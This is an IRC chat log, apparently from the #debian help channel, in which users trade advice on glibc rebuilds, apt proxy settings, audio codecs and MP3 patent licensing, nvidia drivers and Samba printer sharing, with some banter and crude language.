| 08:07.13 | PerfDave | dbernar1: Not if you mounted it. |
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| 08:07.23 | nct | I'm trying to recompile glibc the debian way (dpkg-buildpackage -rfakeroot -us -uc) on sarge/amd64, because I want to patch it to fix bug #270823, but recompilation fails. Note that I haven't tried to add my patch yet. Is it a known issue ? |
| 08:07.44 | peterS | nct: "recompilation fails" tells us ... not a whole lot |
| 08:07.55 | dbernar1 | ah, yes, I used gnome-volume-manager |
| 08:07.57 | dbernar1 | thanks. |
| 08:07.58 | liable | oggv: are you actually running debian? there isnt a 2.6.12 image in unstable. |
| 08:08.02 | peterS | nct: make sure you did 'apt-get build-dep libc6' for one thing |
| 08:08.07 | nct | applying patch debian/patches/10_cvs.dpatch... failed. |
| 08:08.07 | nct | make: *** [/home/nct/libcrecompilation/glibc-2.3.2.ds1/stamp-dir/patch-stamp] Error 1 |
| 08:08.14 | izn0g | liable: there is |
| 08:08.27 | oggv | liable: there is one, but not called kernel-image but linux-image |
| 08:08.29 | liable | hmmm, just come in? |
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| 08:08.41 | nct | peterS, all deps here |
| 08:08.57 | liable | oh, pardon me :) |
| 08:08.58 | Coke | oggv: I never had any problems mounting and reading a DVD. |
| 08:08.59 | izn0g | liable: on sunday, as far as i can remember |
| 08:09.05 | Coke | oggv: especially not on device level. |
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| 08:09.47 | oggv | Coke: well, the DVD is mounted, but in dmesg there are errros |
| 08:10.00 | oggv | VFS: busy inodes on changed media. |
| 08:10.02 | oggv | a lot of them |
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| 08:10.10 | xiptos | Could there be some problem with 2.6.12 in running a program? I'm trying to run mipsel-uclinux-gcc and it allways gives me "Permission denied". With 2.6.11 it works fine... |
| 08:10.20 | Coke | oggv: I'm no driver expert so I can't make much of it. |
| 08:10.22 | EgilOfBorg | hello guys. Quick question, how do I specify a proxy server, for HTTP/FTP trafic (my debian machine should use a proxy server to connect to the internet)? |
| 08:10.39 | oggv | Coke: wait, I'll try with another DVD |
| 08:10.50 | PerfDave | EgilOfBorg: set the http_proxy environment variable? |
| 08:11.17 | izn0g | EgilOfBorg: environment variable, or gnome/kde control panel, or application specific settings |
| 08:11.39 | krystalino | how often do you update your debian ? |
| 08:12.03 | nct | peterS : I've the same problem on testing on x86, so perhaps I'm missing a step |
| 08:12.08 | EgilOfBorg | izn0g, only have console. specifically, I want apt to use a proxy |
| 08:12.10 | buu | kneet: Oh wonderful helpful person |
| 08:12.12 | peterS | nct: yeah, dunno |
| 08:12.19 | kneet | buu, mm? |
| 08:12.31 | izn0g | EgilOfBorg: apt.conf can be tweaked to use a proxy |
| 08:12.42 | buu | kneet: How do I tell which version of palm os I have? |
| 08:12.42 | nct | should "apt-get source glibc && cd glibc-2.3.2.ds1 && dpkg-buildpackage -rfakeroot -us -uc" do the work to recompile glibc ? |
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| 08:12.57 | oggv | Coke: all right, this Norma DVD works fine |
| 08:13.15 | PerfDave | EgilOfBorg: Either use the http_proxy environment variable, or specify it in apt.conf |
| 08:13.29 | tobiasz | Ok... where I am on sarge I get with pbuilder E: No such script: /usr/lib/debootstrap/scripts/etch.buildd |
| 08:13.34 | PerfDave | nct: Have you read the APT HOWTO on working with source packages? |
| 08:13.37 | oggv | Coke: in this DVD the Audio directory is emty |
| 08:13.44 | tobiasz | And there is no new pbuilder at mirror |
| 08:14.09 | Coke | oggv: yep. well. might be something with the opera DVD, copy protection or something. but try copying the files from AUDIO_TS to disk (and maybe VIDEO_TS too) and manipulate them from there. |
| 08:14.45 | EgilOfBorg | ok thanks |
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| 08:14.58 | oggv | Coke: I have now Norma mounted in my DVD, but there is no Audio file, everything is under Video |
| 08:15.16 | nct | PerfDave, I've to admit I haven't, do you have a link ? (otherwise I search n.p.) |
| 08:15.17 | liable | tobiasz: do you have a etch.build? instead of buildd. |
| 08:15.23 | oggv | Coke: extracting audio from the video files is processor consuming, I assume |
| 08:15.24 | Coke | oggv: yes, you already told me that and I already gave you instructions on how to proceed. |
| 08:15.37 | kneet | buu, not sure - I know that the app filez will display it :) |
| 08:15.42 | Coke | oggv: yes it is. |
| 08:15.43 | PerfDave | nct: It's on debian.org, or apt-get install apt-howto |
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| 08:16.02 | oggv | Coke: I mean, I use a laptop, and well, if it is processor consuming, I cannot do, it overheats |
| 08:16.03 | kneet | buu, But - if it's a zire then you might find the info up on palms site |
| 08:16.13 | Coke | oggv: overclocked? |
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| 08:16.22 | kneet | buu, need to restart X - back in a bit |
| 08:16.27 | tobiasz | liable, no I dont have anything beging from etch there |
| 08:16.36 | oggv | Coke: no, it's been like this allways |
| 08:16.52 | nct | PerfDave, thanks, I'll have a look right now |
| 08:17.01 | oggv | Coke: I have read that I can set a lower speed for my processor in some forums |
| 08:17.06 | tobiasz | liable, I want to build packages on remote server (sarge) cause my pc has slow connection |
| 08:17.11 | oggv | Coke: but well, I will do if I need |
| 08:17.24 | oggv | Coke: right now, I avoid consuming taks |
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| 08:17.27 | oggv | Coke: right now, I avoid consuming tasks |
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| 08:17.36 | PerfDave | !wayc tobiasz |
| 08:17.37 | dpkg | tobiasz: Why are you compiling instead of using apt-get? |
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| 08:18.04 | oggv | Coke: what program do you use to convert audio into ogg? do you? |
| 08:18.08 | tobiasz | PerfDave, Cause I am building packages... for other people.. |
| 08:18.20 | nct | PerfDave, read now, doesn't help :-( |
| 08:18.23 | Coke | oggv: depends on what the original data format is. |
| 08:18.42 | PerfDave | nct: I suggest you spend more than two minutes reading it :) |
| 08:18.47 | PerfDave | tobiasz: What sort of packages? |
| 08:18.47 | oggv | Coke: original data format is wav, I will rip now from a CD |
| 08:18.50 | nct | The strange thing is that there is a debian patch which failed when applied by dpkg-buildpackage, and it's the first one ! |
| 08:18.50 | tobiasz | PerfDave, I can do that on my pc but it will take a hours.. when I try on remote server which is on sarge.. it misses packages.. |
| 08:18.55 | Coke | oggv: oggenc |
| 08:18.56 | jm_ | oggv: apt-get install abcde |
| 08:19.20 | tobiasz | PerfDave, not in debian yet.. I have a sponsor but I am lazy to remove emoteicons that cant go to debian :) |
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| 08:19.39 | nct | PerfDave, well, it's two screens height only ;-) Furthermore, that's a patch problem.... |
| 08:19.51 | oggv | Coke: with oggenc I obtain a FLAC encoded file? |
| 08:20.05 | PerfDave | nct: You must have a big screen if you can fit half the APT HOWTO onto it. |
| 08:20.09 | VivekVC | which GUIs can i use for mysql and postgresql management ? |
| 08:20.13 | oggv | Coke: I have some doubts about FLAC, is ogg always FLAC? or not? |
| 08:20.24 | Coke | oggv: are you prentending to be extra stupid? |
| 08:20.37 | PerfDave | oggv: Ogg is a container format. It can contain many things, such as Vorbis, FLAC, Theora, or even MP3 or DivX |
| 08:20.40 | sepski | VivekVC, i have a fancy for phpmyadmin |
| 08:20.43 | tobiasz | PerfDave, I am retrieving debs for sid now.. and I'll build for sid first.. but I dont know what with etch.. |
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| 08:20.51 | sepski | VivekVC, a web based admin tool |
| 08:21.07 | PerfDave | php*admin are all pretty sucky :) |
| 08:21.07 | VivekVC | sepski: you mean phpadmin ? |
| 08:21.11 | nct | PerfDave, I'm using the one section per screen, and source work related is only seciton 6 |
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| 08:21.20 | sepski | VivekVC, no i mean phpmyadmin |
| 08:21.24 | oggv | PerfDave: ah ok, so ogg is only the container, and my doubt is, the compresion of FLAC (being lossless) is lower than other formats, I understand |
| 08:21.28 | nct | I'm reading french translation, perhaps the english one is bigger... |
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| 08:21.47 | nct | ... well, no, it's the same size (http://www.debian.org/doc/manuals/apt-howto/ch-sourcehandling.en.html) |
| 08:21.52 | PerfDave | oggv: Yes, FLAC files are very big compared to Vorbis, because it's lossless. It's still much better than plain WAV. |
| 08:21.55 | Coke | oggv: apt-get install vorbis-tools |
| 08:22.04 | sepski | VivekVC, and you can use phppgadmin, witch is basicaly the same thing for pgsql |
| 08:22.10 | VivekVC | ok |
| 08:22.28 | oggv | Coke: yes, I have vorbis-tools installed since time ago |
| 08:22.48 | Coke | oggv: FLAC is around half the size of the original data, but with the EXACT same data representation. |
| 08:22.55 | Coke | for audio data, that is. |
| 08:22.55 | VivekVC | sepski: Thanks |
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| 08:23.23 | oggv | ok, I think I will try ogg compressed with lossless but with high quality |
| 08:23.27 | oggv | thanks you all |
| 08:23.36 | Coke | oggv: lossy, you mean lossy. :) |
| 08:23.36 | oggv | I go to ripping :) |
| 08:23.45 | oggv | lossy yes!!!! |
| 08:23.56 | oggv | :) |
| 08:23.56 | Coke | oggv: have a nice session and enjoy the music using one of the finer audio compression codecs in the world! |
| 08:24.05 | PerfDave | oggv: Try ripping sometrhing as Vorbis then as FLAC, and have a listen to see if you can tell the difference. |
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| 08:24.13 | Whisky_ | Hi All |
| 08:24.30 | Whisky_ | if i copy fonts from /usr/share/fonts/truetype/msttcorefonts/* to another system, would they still work ? |
| 08:24.35 | liable | I cant even tell the difference with mp3, but I am going deaf. |
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| 08:24.49 | Whisky_ | lol liable :p |
| 08:24.50 | oggv | Coke: vorbis is best, but there are huge amonuts of mp3 around the world |
| 08:25.04 | oggv | liable: with mp3 the problem is not quality, but copyright |
| 08:25.13 | freewoody | Hi all |
| 08:25.14 | PerfDave | Whisky_: Why not install the package they come from on the other machine? |
| 08:25.19 | oggv | liable: ogg is the only patent-free codec |
| 08:25.26 | Whisky_ | PerfDave, no internet access there. |
| 08:25.26 | PerfDave | No, the problem with MP3 is Fraunhofer's patent licensing, not copyright. |
| 08:25.28 | freewoody | How do I bypass my local Transparent Squid Proxy Server ? |
| 08:25.30 | nct | Is there any way to reach one of the glibc maintainer on irc ? I could fill a bug report, but as glibc is so important, I probably miss something, but I don't see because I'm doing exactly what the doc *and* one of the maintainer said to me |
| 08:25.32 | liable | oggv: yes, just making a point, about audio quality.. |
| 08:25.36 | PerfDave | Whisky_: So burn the .deb onto a CD :) |
| 08:25.49 | Whisky_ | PerfDave, i installed it through apt-get :O |
| 08:25.55 | oggv | liable: with mp3 and with the adequate encoding, you can't tell the difference |
| 08:26.08 | PerfDave | Whisky_: So burn the .deb onto a CD, it'll be in /var/cache/apt/archives :) |
| 08:26.15 | PerfDave | nct: If you have a bug, use the BTS. |
| 08:26.17 | liable | oggv: I think thats what I said :P |
| 08:26.28 | oggv | liable: :) yes you did |
| 08:26.35 | oggv | well, I go, bye all |
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| 08:26.48 | jm_ | Whisky_: tried man update-ms-fonts? |
| 08:26.59 | Whisky_ | PerfDave, I had a look there but it wasent there. |
| 08:27.03 | Whisky_ | jm_, noops |
| 08:27.07 | PerfDave | Whisky_: man apt-get |
| 08:27.36 | liable | Whisky_: did you clean the cache? |
| 08:27.37 | Whisky_ | k brb, lunch |
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| 08:31.24 | liable | man, I would love to see a shuttle take off in real life. (a bit OT) |
| 08:31.26 | konki | mp3 ripper?? whats the best for debian?? |
| 08:31.38 | bob2 | abcde |
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| 08:31.42 | jm_ | konki: abcde+lame |
| 08:31.54 | PerfDave | konki: There are no MP3 encoders in Debian for patent reasons. You can get them from marillat if you're in a country where software patents don't apply, or just use Ogg Vorbis like any sane person. |
| 08:32.00 | bob2 | of course all rippers use cdparanoia and mp3 to encode, though |
| 08:32.10 | SerajewelKS | have the kernel images been renamed from kernel-image-* to linux-image-* or am i missing something? |
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| 08:32.27 | tico | hello i want to burn an iso image but what do i have to erase to get more free space in the temporal directory? |
| 08:32.31 | rixth | PerfDave, the thing is, basically no decent players support OGG. (No, the Karma isn't decent) |
| 08:32.39 | PerfDave | rixth: /msg dpkg vorbis hardware |
| 08:32.47 | izn0g | SerajewelKS: yes they do |
| 08:32.49 | SerajewelKS | tico, that's pretty vague |
| 08:32.50 | izn0g | the sources also |
| 08:32.58 | SerajewelKS | izn0g, thanks |
| 08:33.04 | konki | PerfDave, well i need mp3 for my mp3 HD player |
| 08:33.04 | PerfDave | rixth: There are dozens of Vorbis-supporting players, many of them are very good. |
| 08:33.12 | SerajewelKS | tico, you erase anything that you can stand to lose |
| 08:33.27 | PerfDave | konki: Then you'll have to pay Fraunhofer for an MP3 license, see http://www.mp3licensing.com/ |
| 08:33.29 | rixth | PerfDave, no brands I've ever heard of. |
| 08:33.34 | rixth | Apart from Samsung |
| 08:33.38 | PerfDave | rixth: Oh, then they must be shit ;) |
| 08:33.41 | liable | izn0g: is there an announcement or something for that? |
| 08:33.55 | liable | izn0g: s/is/was |
| 08:34.05 | rixth | PerfDave, No no, just never heard of them! Atrac3 is my codec of choice for portable audio anyway |
| 08:34.23 | SerajewelKS | odd how companies will pay thousands for an MP3 license but won't use free codecs |
| 08:34.23 | PerfDave | rixth: Well, I've never heard of Atrac3 ;) |
| 08:34.53 | bob2 | atrac doesn't seem to be any better than vorbis |
| 08:35.02 | izn0g | liable: well, I just don't know. I saw them in the new packages using aptitude |
| 08:35.04 | rixth | PerfDave, Sony's proprietory compression, file sizes greatly reduced with no/little loss. |
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| 08:35.15 | liable | izn0g: ok. |
| 08:35.17 | rixth | bob2, Yes, but Son'ys wonderful players support it! |
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| 08:35.20 | PerfDave | rixth: Ah, some dodgy patent-encumbered thing then :) |
| 08:35.27 | PerfDave | SerajewelKS: Yeah, there are BSD-licensed fixed-point Vorbis decoders now, so they don't need any more hardware or licensing fees. It's just stupidity, and I'll not give my money to stupid people. |
| 08:35.28 | rixth | PerfDave, that it is! |
| 08:35.34 | jon_ | the nvidia driver readme tells me to comment out dri and glcore in /etc/X11/XFree86Config, but DRI doesn't work when i start X anyway. Xlib: extension "XFree86-DRI" missing on display ":0.0". any ideas? |
| 08:35.37 | konki | PerfDave, i've been downloading illegal music for the past 5 yrs. downloading unreleased movies [bittorrents] 2 yrs. what the hell. i think thats worst... |
| 08:35.37 | PerfDave | rixth: I'll stick with Vorbis, thanks. |
| 08:35.39 | nct | Well, I've contacted the glibc developer who sent me how to do the recompilation, and given his answer, I'll fill a bug later... thanks for help. |
| 08:35.44 | rixth | I can't even _play_ CDs in Debian, let alone rip them |
| 08:35.45 | SerajewelKS | PerfDave, rixth, while we're on the topic of audio formats, is MusePak any good? |
| 08:36.04 | jon_ | glx debs |
| 08:36.07 | rixth | SerajewelKS, Never had much experience, nor do I actually know that much about it :) |
| 08:36.18 | PerfDave | SerajewelKS: Dont' know much about it, sorry. |
| 08:36.32 | SerajewelKS | my only complaint about OGG is that for the same quality the files are twice as big |
| 08:36.53 | SerajewelKS | oh, and XMMS doesn't apply the equalizer to anything but MP3s.. although that's not OGG's fault =) |
| 08:36.56 | PerfDave | SerajewelKS: Twice as big as what? |
| 08:37.08 | rixth | What the hell? MP3s are big enough as it is. |
| 08:37.17 | SerajewelKS | PerfDave, twice as big as the same quality MP3 |
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| 08:37.22 | rixth | I thought OGG was supposed to make them smaller., |
| 08:37.23 | PerfDave | SerajewelKS: Uhm, no. |
| 08:37.46 | bob2 | OGG is a red herring, it's just the container |
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| 08:37.52 | bob2 | vorbis is the mp3-alike encoder |
| 08:38.01 | PerfDave | Ogg Vorbis tends to be about 60% of the size of an equivalent quality MP3 |
| 08:38.18 | SerajewelKS | maybe i'm missing something then, but encoding the same WAV using lame's and oggenc's default options usually produce ~3.1MB for the MP3 and ~6MB for the OGG |
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| 08:38.34 | rixth | PerfDave, is it the same deal as atrac? Like a 64kbps Atrac3 sounds like a 192mp3? |
| 08:38.37 | bob2 | oggence's default is rather high |
| 08:38.50 | bob2 | 64kbps atrac-3 does not sound like a 192kbit/s mp3 |
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| 08:39.00 | rixth | bob2, I beg to differ. |
| 08:39.01 | PerfDave | rixth: kbps doesn't really make sense when talking about Vorbis. |
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| 08:39.03 | krystalino | do you know how to override copy/past disabled in pdf document ? |
| 08:39.03 | bob2 | SerajewelKS: set it to a similar bitrate and see how they sound |
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| 08:39.14 | rixth | With Steinheser (sp?) they should brilliant. |
| 08:39.23 | jm_ | Sennheiser? |
| 08:39.28 | bob2 | headphones |
| 08:39.34 | bob2 | krystalino: xpdf surely doesn't respect those flags? |
| 08:39.39 | rixth | Erm, sound, |
| 08:39.44 | PerfDave | SerajewelKS, rixth: There are some side-by-side comparisons of MP3 and Vorbis on the Vorbis website, along with various technical data. Check them out. |
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| 08:39.47 | rixth | And yes, headphones, not tinny little earbuds |
| 08:39.53 | rixth | PerfDave, okay, thanks |
| 08:39.56 | Serajewel | stupid ISP |
| 08:39.57 | krystalino | bob2, it does |
| 08:40.02 | PerfDave | My Vorbis files sound excellent through my Sennheisers ;) |
| 08:40.04 | bob2 | atrac-4 sounded worse than 96kbit/s vorbis to me |
| 08:40.07 | bob2 | with the same headphones |
| 08:40.11 | jm_ | yes, Sennheiser make headphones |
| 08:40.22 | liable | good ones :) |
| 08:40.28 | PerfDave | SerajewelKS: SerajewelKS, rixth: There are some side-by-side comparisons of MP3 and Vorbis on the Vorbis website, along with various technical data. Check them out. |
| 08:40.31 | krystalino | what is atrac ? |
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| 08:40.44 | bob2 | krystalino: a proprietary audio codec from sony |
| 08:40.45 | rixth | Gah, some fucktard registered www.oggvorbis.com and wants $50k. |
| 08:40.47 | Coke | some sony patented technology |
| 08:40.52 | krystalino | ogg is far better than mp3 tho |
| 08:40.53 | dak | i was in a mp3 ripping group for years, vorbis is better |
| 08:40.54 | Coke | hahaha! :) |
| 08:40.54 | SerajewelKS | if anyone can tell me how to get XMMS to apply the equalizer to ogg vorbis files, i'll start using ogg. but as it is, xmms only applies it to MP3s. |
| 08:40.55 | PerfDave | krystalino: Some dodgy propriatery format :) |
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| 08:41.13 | PerfDave | SerajewelKS: Have you filed a wishlist bug against xmms's equaliser? ;) |
| 08:41.21 | krystalino | ogg 120kbps is equivalent to mp3 192kbps ... ! |
| 08:41.28 | krystalino | from my ear test |
| 08:41.29 | SerajewelKS | PerfDave, no... |
| 08:41.32 | dak | FLAC. |
| 08:41.53 | dak | is the best way to go and u skip all this compression crap |
| 08:41.53 | PerfDave | SerajewelKS: Then you have no right to bitch about the support not being there, if you haven't even asked for it ;) |
| 08:41.54 | SerajewelKS | what is the ogg quality equvalent of a 128kbps CBR MP3? |
| 08:41.56 | bob2 | all my cds get ripped to flac, anyway |
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| 08:42.05 | bob2 | SerajewelKS: depends on the music |
| 08:42.19 | dak | 96 is = 128 i think ? |
| 08:42.30 | PerfDave | SerajewelKS: Really, look around the Vorbis website for the data :) |
| 08:42.34 | krystalino | SerajewelKS, i always use vbr, i avoid cbr afa possible |
| 08:42.38 | bob2 | ogg tends to use quality levels more than bitrates |
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| 08:42.44 | bob2 | since all vorbis files are vbr |
| 08:42.47 | bob2 | (by default) |
| 08:43.05 | dak | it really does depend on the music tho |
| 08:43.05 | PerfDave | TBH, even if Vorbis was bigger filesize than MP3, I'd still use it because it means I don't have hassle with MP3 encoders and decoders. |
| 08:43.10 | tracysun | how to see the size of a dir or a file |
| 08:43.11 | dak | like techno and rap you want a higher bitrate |
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| 08:43.23 | Coke | That's strange, with XMMS. Why the heck would it care if the audio source is from the mp3 plugin or the ogg plugin? |
| 08:43.23 | krystalino | cbr is crappy for good audio quality, except high bit rate (224 or higher) |
| 08:43.34 | PerfDave | Plus I've noticed less artefacting on electronic music with Vorbis than with MP3 |
| 08:43.34 | SerajewelKS | PerfDave, how are MP3 encoders more of a hassle than ogg? |
| 08:43.45 | dak | coke different decoder ? |
| 08:43.47 | Coke | samuel: patents |
| 08:43.51 | Coke | SerajewelKS: patents |
| 08:43.53 | PerfDave | SerajewelKS: MP3 encoders require license fees, and can't easily be installed in Debian :) |
| 08:44.05 | jm_ | Coke: it's pretty stupid, but that has been a known limitation of it for years |
| 08:44.06 | krystalino | PerfDave, true |
| 08:44.11 | Coke | dak: so? why would the mixer care about how the pcm data was once coded? |
| 08:44.17 | SerajewelKS | PerfDave, define "easily"... add one line to apt.sources, dist-upgrade, install lame |
| 08:44.20 | dak | use winamp then and wine |
| 08:44.27 | dak | or a vorbs player |
| 08:44.31 | PerfDave | SerajewelKS: Yeah, that's too much like hard work. |
| 08:44.44 | PerfDave | SerajewelKS: Plus it's illegal in many countries. |
| 08:44.44 | rmac | has anyone successfully got kde 3.4 working in debian yet? |
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| 08:44.48 | SerajewelKS | err, add the line, UPGRADE, install |
| 08:44.54 | PerfDave | rmac: You may want to ask #debian-kde |
| 08:44.54 | SerajewelKS | update even |
| 08:45.04 | rmac | k |
| 08:45.05 | krystalino | debian devs are somehow too restrictive about licences tho. i prefer freebsd point of view |
| 08:45.08 | ovp | !msg Hello |
| 08:45.15 | PerfDave | krystalino: What do you mean, too restrictive? |
| 08:45.18 | SerajewelKS | !topicsmite rmac |
| 08:45.19 | dpkg | And the wrath of /TOPIC descended with terrible fury upon rmac. And all the people marveled, saying, Behold, we too should read the /TOPIC, lest we be stricken. And all the people read the /TOPIC, and went away edified. |
| 08:45.23 | Coke | jm_: isn't bmp supposed to replace it? |
| 08:45.42 | PerfDave | krystalino: They're just stopping their users and admins from getting sued. That is one of the reasons why I use Debian ;) |
| 08:45.48 | rmac | SerajewelKS this is debian thought someone might have installed from apt |
| 08:45.55 | krystalino | PerfDave SerajewelKS: MP3 encoders require license fees, and can't easily be installed in Debian :) ;) |
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| 08:46.12 | jon_ | ley me rephrase my question: i'm using the nvidia binary driver which forces me to uncomment "Load dri" from my X config file. the problem is that when i'm trying to use dri apps i get extension "XFree86-DRI" missing on display! isn't the nvidia binary driver supposed to load dri for me? there's no errors in the log file |
| 08:46.18 | jm_ | Coke: no idea |
| 08:46.21 | Coke | krystalino: it's a practical and political stand-point that I support and I'm glad that someone else has already done the work of screening non-free technology for me. |
| 08:46.31 | dak | #nvidia |
| 08:46.40 | PerfDave | krystalino: Yes, they can't easily be installed in Debian because to make them easy to install in Debian would put the people who donate hosting and bandwidth to the Debian project at risk of prosecution. |
| 08:46.42 | jon_ | dak ok, thanks |
| 08:46.47 | SerajewelKS | rmac, installed from apt? what? |
| 08:46.55 | rmac | KDE |
| 08:46.59 | PerfDave | jon_: How did you install the nVidia drivers? |
| 08:47.00 | rmac | **kde 3.4 |
| 08:47.08 | krystalino | PerfDave, uh? really ? prosecution ? |
| 08:47.08 | jm_ | jon_: nvidia doesn't do DRI, but it can do OpenGL pretty nicely |
| 08:47.11 | dak | read the topic rmac |
| 08:47.15 | dak | god |
| 08:47.31 | SerajewelKS | !tell rmac about kde3.4 |
| 08:47.32 | krystalino | PerfDave, how do you explain then that on gentoo/bsd world, they don't care of that ? |
| 08:47.34 | PerfDave | krystalino: Yes, for violating Fraunhofer's MP3 patent by distributing encoders without paying license fees. |
| 08:47.42 | PerfDave | krystalino: Gentoo users are stupid, film at 11 ;) |
| 08:47.46 | SerajewelKS | rmac, you don't install /from/ apt, you install /using/ apt |
| 08:47.59 | jon_ | jm_ how can i tell my application to use opengl instead of dri? |
| 08:48.02 | krystalino | PerfDave, do you also mean that freebsd is stupid ? |
| 08:48.25 | jm_ | jon_: what kind of application is this? |
| 08:48.29 | PerfDave | krystalino: If they're putting themselves at risk of prosecution, I'd say they're pretty stupid. |
| 08:48.42 | jon_ | jm_ crystal space, a library for creating 3d applications |
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| 08:48.51 | dak | whatever what about ipods and shit that encode music, think apple is paying thier fee ? |
| 08:48.59 | liable | isnt lame, lame aint an mp3 encoder? :P |
| 08:49.13 | jon_ | dak they probably do |
| 08:49.15 | PerfDave | dak: I think Apple can afford $60,000 a lot more easily than Debian can ;) |
| 08:49.21 | PerfDave | krystalino: Different operating systems and distributions have different ways of handling this. Debian are erring on the side of caution. |
| 08:49.29 | Gnea | liable: that's a lie. ;) |
| 08:49.29 | jm_ | jon_: does it have a home page? |
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| 08:49.40 | jon_ | jm_ yes. www.crystalspace3d.org |
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| 08:49.54 | PerfDave | krystalino: If you care, you can read about this on the debian-legal list :) |
| 08:49.54 | liable | Gnea: NO ITS TRUE :P |
| 08:49.54 | jon_ | jm_ but i've used this driver before with crystal space... |
| 08:50.00 | dak | most people using debian know how to find lame and what not anyway so why are we having this conv |
| 08:50.03 | etele | hi all |
| 08:50.04 | Gnea | liable: HAHAHAHHAHA :D |
| 08:50.11 | etele | can somebody help me |
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| 08:50.19 | Gnea | !tell etele about ask |
| 08:50.28 | PerfDave | jon_: How did you install the nvidia drivers? |
| 08:50.36 | etele | I have some touble with printer |
| 08:50.44 | Gnea | etele: what printer? |
| 08:50.44 | jon_ | PerfDave sh NVIDIA-... |
| 08:50.50 | krystalino | PerfDave, i understand this point of vie. but what i dislike is that everyone need mp3 codecs, and for that you have do point to non officiel repositories. Withh all security risk that goes with. Virus, or whatever else. |
| 08:50.53 | Gnea | uh oh |
| 08:50.54 | etele | It s HP LaserJet 1320 |
| 08:50.57 | jon_ | i have a customized kernel |
| 08:50.58 | jm_ | jon_: it supports OpenGL |
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| 08:51.04 | dak | jon u point it to your kernel headers |
| 08:51.05 | litb | Hi! i want to install krdc. "apt-cache search --names-only krdc" says, that there is an version 3.4.1. but if i try to run "apt-get install krdc", apt-get wants to install krdc 3.3.x. how can i specify that i want to install version 3.4.x? |
| 08:51.10 | jon_ | dak yes |
| 08:51.11 | dak | read the install file |
| 08:51.13 | PerfDave | jon_: No wonder things are fucked :) |
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| 08:51.19 | dak | i just installed them a week ago and it was fine |
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| 08:51.21 | jon_ | PerfDave what do you mean? |
| 08:51.35 | dak | you rebuild the nvidia.run package after it built its self for your kernel? |
| 08:51.38 | Gnea | etele: what have you installed for it so far? |
| 08:51.38 | PerfDave | jon_: /msg dpkg nvidia installer |
| 08:51.53 | PerfDave | krystalino: "everyone needs mp3 codecs"? No, they don't. |
| 08:51.59 | jon_ | dak yes, after |
| 08:52.02 | jm_ | jon_: installing something after that may have overwritten the libraries/symlinks |
| 08:52.06 | etele | I share it through SAMBA CUPS |
| 08:52.06 | rmac | i guess a lot of people ask about kde3.4 in here :-P |
| 08:52.21 | etele | on my Linux works perfectly |
| 08:52.26 | jon_ | jm_ hmm, i switched from xorg to xfree......... |
| 08:52.27 | sml | rmac: I dont know why peoplse use KDE/Gnome. its bloat |
| 08:52.28 | Gnea | etele: oooooh ok |
| 08:52.41 | PerfDave | krystalino: If you want legal MP3 software on Linux, go buy a copy of Linspire, that comes with an MP3 license IIRC. |
| 08:52.43 | jon_ | sml gnome is great! |
| 08:52.47 | rmac | sml some people like bloated windows managers |
| 08:52.52 | rmac | i.e me |
| 08:52.56 | etele | till now I had a problem with Windows it said "acces denied..." |
| 08:52.58 | litb | how can i install kdenetwork-3.4.1? |
| 08:52.59 | etele | I solved it too |
| 08:53.12 | sml | rmac: KDE is a desktop environment. I dont mind window managers. |
| 08:53.12 | rmac | <PROTECTED> |
| 08:53.17 | cafuego | dpkg: hwraid is at http://linux.yyz.us/sata/faq-sata-raid.html |
| 08:53.18 | dpkg | cafuego: okay |
| 08:53.24 | dak | man dpkg litb |
| 08:53.24 | sml | rmac: good for you. so can mine. |
| 08:53.24 | jon_ | i'll try rebuilding the nvidia driver |
| 08:53.26 | rmac | sorry ENVIRONMENTS |
| 08:53.27 | jm_ | jon_: that's it then, use nvidia packages from Debian to build debs and then install those |
| 08:53.32 | jon_ | thanks everyone! |
| 08:53.50 | rmac | <PROTECTED> |
| 08:53.55 | jm_ | cafeu;heh |
| 08:53.57 | etele | but now when I click on the printer properties in windows, then the windows download a lot of data |
| 08:53.59 | jon_ | jm_ thanks |
| 08:54.04 | litb | dak. i know i should do apt-get install kdenetwork |
| 08:54.09 | sml | rmac: I'd prefer to use my dual CPU'd processor and RAM for other things. |
| 08:54.16 | litb | but it installs kdenetwork 3.3.2 |
| 08:54.23 | PerfDave | sml: I use KDE because it Just Fucking Works, unlike any other WM / DE I've tried on Linux. It's the thing that lets me get on and achieve the things I want to do, and it runs on most systems. |
| 08:54.26 | rmac | <PROTECTED> |
| 08:54.42 | Gnea | etele: what did you set in smb.conf for [printers]? |
| 08:54.44 | sml | rmac: LOL, nope I just badly worded that last sentence ;) |
| 08:54.46 | litb | and not i want to select packages from http://pkg-kde.alioth.debian.org/kde-3.4.1 |
| 08:54.50 | dak | the .run nvidia builds debs |
| 08:54.51 | Gnea | etele: don't paste here btw... |
| 08:54.56 | litb | -not |
| 08:55.08 | dak | nvidia-kernel-2.6.12.3_1.0.7174-4_i386.deb came from the nvidia run file |
| 08:55.16 | rmac | <PROTECTED> |
| 08:55.27 | cafuego | Ha, I once had a proc that could EASILY core 5 times in a minute! |
| 08:55.33 | sml | rmac: let me give you the output from cpuinfo hang on.. |
| 08:55.33 | etele | how can I send you my smb.conf file? |
| 08:55.46 | liable | etele: paster |
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| 08:55.49 | Gnea | etele: here, read this: http://www.tldp.org/HOWTO/Debian-and-Windows-Shared-Printing/sharing_with_windows.html |
| 08:55.51 | dak | dcc |
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| 08:55.54 | sml | rmac: model name : Pentium III (Coppermine) |
| 08:55.58 | dak | dont paste nothing |
| 08:56.16 | sml | rmac: cpu MHz : 930.856 |
| 08:56.29 | dak | great |
| 08:56.32 | rmac | sml what command outputs that info? |
| 08:56.39 | rmac | "cpuinfo"?? |
| 08:56.41 | dak | cat /proc/cpuinfo |
| 08:56.45 | sml | rmac: cat /proc/cpuinfo |
| 08:56.49 | Gnea | etele: btw, i plugged in the following to google: samba cups smbprint it was the second result |
| 08:56.54 | etele | Gnea: th, a moment |
| 08:57.00 | rmac | sml ty |
| 08:57.11 | sml | rmac: its a dual 1GHZ PIII with 2GB RAM, and I dont run X on it. |
| 08:57.29 | sml | But I'd imagine it would do a good job if I did ever choose to run X on it. |
| 08:57.30 | Gnea | etele: i followed that same thing and it worked perfectly |
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| 08:57.33 | cafuego | Yes, but a 1GHz P3 is getting a tad long in the tooth ;-) |
| 08:57.34 | rmac | sml well i run x on all my boxes including my server |
| 08:57.49 | sml | cafuego: The question is , is it up to the task of running X :) |
| 08:58.03 | cafuego | cpu MHz : 3601.435 |
| 08:58.09 | cafuego | cpu MHz : 3601.435 |
| 08:58.12 | cafuego | (there's two) |
| 08:58.19 | Gnea | etele: i had to get the printer drivers working on the windows end first, as if the printer was plugged directly into it, then switch it around and apply the driver settings to the network printer |
